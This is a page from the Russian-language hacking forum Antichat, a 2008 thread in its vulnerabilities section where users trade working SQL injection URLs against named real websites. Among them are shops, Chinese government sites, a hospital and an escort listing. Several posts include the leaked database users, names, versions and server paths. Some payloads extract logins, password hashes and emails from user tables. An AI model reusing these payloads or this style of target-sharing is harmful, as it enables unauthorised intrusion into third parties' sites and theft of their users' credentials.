ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #5381  
Старый 28.04.2008, 14:25
.acme
Участник форума
Регистрация: 08.11.2007
Сообщений: 102
Провел на форуме:
1266776

Репутация: 93
По умолчанию

Цитата:
http://www.s3m.com/dma/displayuser.php?user_id=-1224+union+select+1,2,3,4,concat_ws(0x4,user(),dat abase(),version()),6,7,8,9,10,11,12,13,14,15--
user: s3mcom_preylude@localhost
db: s3mcom_main
version: 4.1.22-standard
 
Ответить с цитированием

  #5382  
Старый 29.04.2008, 17:50
neon_fx
Познающий
Регистрация: 22.02.2008
Сообщений: 74
Провел на форуме:
394753

Репутация: 120
По умолчанию

http://www.shoptop.kiev.ua/section.php?kat=6&subkat=-157+union+select+1,2,3,4,version(),user(),7,8,9,10 ,11,12,13,14,15,16,17,18,19,20,21,22/*

5.0.41-community-log
shoptop_user@localhost
shoptop_baze

/home/shoptop/domains/shoptop.kiev.ua/public_html/


на том же серваке :
http://www.bizcat.kiev.ua/section.php?kat=8&subkat=-157+union+select+1,2,3,4,version(),user(),user(),8 ,9,10%20,11,12,13,14,15,16,17,18,19,20,21/*

5.0.41-community-log
bizcat_user@localhost
/home/bizcat/domains/bizcat.kiev.ua/public_html/

http://www.bizcat.kiev.ua/section.php?kat=14&subkat=-130+union+select+1,2,3,4,version(),user(),7,8,9,10 %20,11,12,13,14,15,16,17,18,19,20,21/*

http://free-board.com.ua/section.php?kat=9&subkat=-84+union+select+1,2,3,4,5,6,7,8,9,10,11,12/*

http://www.crm-expert.com.ua/section.php?id=-7+union+select+1,1,3,database()/*

crm
4.1.22-log

Последний раз редактировалось neon_fx; 29.04.2008 в 18:38..
 
Ответить с цитированием

  #5383  
Старый 29.04.2008, 18:49
А®ТеS
Участник форума
Регистрация: 25.11.2006
Сообщений: 291
Провел на форуме:
1537850

Репутация: 536
Отправить сообщение для А®ТеS с помощью ICQ
По умолчанию

http://www.kino.com/
Цитата:
http://www.kino.com/video/news.php?news_id=-
1+UNION+SELECT+1,2,3,4,5,6,VERSION()+from+login/*
В Антибояне нет, что странно... PR 6.

Последний раз редактировалось А®ТеS; 29.04.2008 в 18:52..
 
Ответить с цитированием

  #5384  
Старый 29.04.2008, 19:31
.acme
Участник форума
Регистрация: 08.11.2007
Сообщений: 102
Провел на форуме:
1266776

Репутация: 93
По умолчанию

А®ТеS, чуве, http://forum.antichat.ru/showpost.php?p=493477&postcount=3513
 
Ответить с цитированием

  #5385  
Старый 29.04.2008, 22:23
neon_fx
Познающий
Регистрация: 22.02.2008
Сообщений: 74
Провел на форуме:
394753

Репутация: 120
По умолчанию

http://www.fzsk.gov.cn/show.php?id=182+or+1=@@Version
http://www.lfsfda.gov.cn/show.php?id=262+and+1=@@Version
 
Ответить с цитированием

  #5386  
Старый 29.04.2008, 23:36
MaZaHaKer
Участник форума
Регистрация: 19.01.2008
Сообщений: 111
Провел на форуме:
769380

Репутация: 73
По умолчанию

http://www.flagman.kiev.ua/pub/view.php?pid=0x3127%20union+select+1,2,3,4,concat_ ws(0x2F,version(),database(),user()),6,7,8,9,10/*
 
Ответить с цитированием

  #5387  
Старый 30.04.2008, 01:20
neon_fx
Познающий
Регистрация: 22.02.2008
Сообщений: 74
Провел на форуме:
394753

Репутация: 120
По умолчанию

Цитата:
Сообщение от MaZaHaKer  
http://www.flagman.kiev.ua/pub/view.php?pid=0x3127%20union+select+1,2,3,4,concat_ ws(0x2F,version(),database(),user()),6,7,8,9,10/*
http://forum.antichat.ru/showthread.php?p=595597
 
Ответить с цитированием

  #5388  
Старый 30.04.2008, 08:20
Dr.Frank
Постоянный
Регистрация: 31.07.2002
Сообщений: 312
Провел на форуме:
1212427

Репутация: 187
Отправить сообщение для Dr.Frank с помощью ICQ
По умолчанию

Проститутки:
Код:
http://putana.nu/list.php?link=-35532+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,concat(login,0x3a,pass,0x3a,email),30,31,32,33,34,35,36,37,38,39,40,41,42,43+from+users+limit+3001,1--
Данные выводятся в анкетных данных слева, под тарифами.
 
Ответить с цитированием

  #5389  
Старый 30.04.2008, 13:43
А®ТеS
Участник форума
Регистрация: 25.11.2006
Сообщений: 291
Провел на форуме:
1537850

Репутация: 536
Отправить сообщение для А®ТеS с помощью ICQ
По умолчанию

2.acme в http://filefront.jino-net.ru/sql.html нету, искать по теме (которая разрослась на ~550 страниц) сидя на диалапе сложно .
Опять же в антибояне нету:
Цитата:
http://www.hellenicathletes.com/news.php?news_id=-1+UNION+SELECT+concat(email,0x3a,password),2,3,4,5 ,6,7,8,9,10,11,12,13+FROM+hellenic_main.powerUsers/*
http://www.repower5m.com/news_uk.php?news_ID=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9/*
http://www.bnhhospital.com/show_news.php?news_id=-1+UNION+SELECT+1,2,3,4,VERSION(),6,7,8,9,10,11,12, 13,14/*
 
Ответить с цитированием

  #5390  
Старый 30.04.2008, 14:38
MaZaHaKer
Участник форума
Регистрация: 19.01.2008
Сообщений: 111
Провел на форуме:
769380

Репутация: 73
По умолчанию

Код:
http://www.flagman.kiev.ua/pub/view.php?pid=0x3127%20union+select+1,2,3,4,concat_ws(0x2F,version(),database(),user()),6,7,8,9,10/*


4.1.22/flagman/u_flagman@localhost
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ